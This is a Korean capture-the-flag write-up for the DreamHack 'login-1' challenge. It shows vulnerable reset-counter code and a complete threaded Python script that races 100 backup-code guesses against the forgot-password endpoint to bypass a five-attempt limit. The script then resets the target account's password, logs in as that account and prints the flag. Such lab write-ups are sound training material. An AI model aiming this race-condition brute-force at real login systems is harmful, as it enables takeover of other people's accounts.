[🥈 Silver 4] 5번 제한을 100번으로 — DreamHack login-1 풀이

if user['resetCount'] == MAXRESETCOUNT:
    return "...reset Count Exceed..."
 
if user['backupCode'] == backupCode:
    updateSQL = "UPDATE user set pw = ?, backupCode = ?, resetCount = 0 where idx = ?"
    ...
else:
    updateSQL = "UPDATE user set resetCount = resetCount+1 where idx = ?"
    cur.execute(updateSQL, (str(user['idx'])))

from concurrent.futures import ThreadPoolExecutor
import requests
 
def attempt(code):
    r = requests.post(f"{BASE}/forgot_password",
                       data={"userid": "Apple", "newpassword": NEWPASS, "backupCode": code},
                       timeout=10)
    return code, r.text
 
with ThreadPoolExecutor(max_workers=100) as ex:
    for code, text in ex.map(attempt, range(100)):
        if "Password Change Success" in text:
            print(f"[HIT] backupCode={code}")

import sys, requests
from concurrent.futures import ThreadPoolExecutor
 
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:17894"
TARGET = "Apple"          # /user/1 IDOR로 확인한 level=1 계정
NEWPASS = "raced_pw_2"
 
def attempt(code):
    r = requests.post(f"{BASE}/forgot_password",
                       data={"userid": TARGET, "newpassword": NEWPASS, "backupCode": code},
                       timeout=10)
    return code, r.text
 
# 1) resetCount(5회 제한) 체크와 증가 사이의 TOCTOU를 이용해 0~99를 동시에 쏜다
hit = None
with ThreadPoolExecutor(max_workers=100) as ex:
    for code, text in ex.map(attempt, range(100)):
        if "Password Change Success" in text:
            hit = code
print(f"[1] race condition으로 backupCode={hit} 확보, 비밀번호를 '{NEWPASS}'로 재설정")
 
# 2) 재설정한 비밀번호로 로그인
s = requests.Session()
s.post(f"{BASE}/login", data={"userid": TARGET, "password": NEWPASS})
print(f"[2] {TARGET} 계정으로 로그인 완료")
 
# 3) 관리자 전용 엔드포인트에서 flag 획득
flag = s.get(f"{BASE}/admin").text
print(f"[3] FLAG: {flag.strip()}")

[1] race condition으로 backupCode=90 확보, 비밀번호를 'raced_pw_2'로 재설정
[2] Apple 계정으로 로그인 완료
[3] FLAG: DH{4b308b526834909157a73567075c9ab7}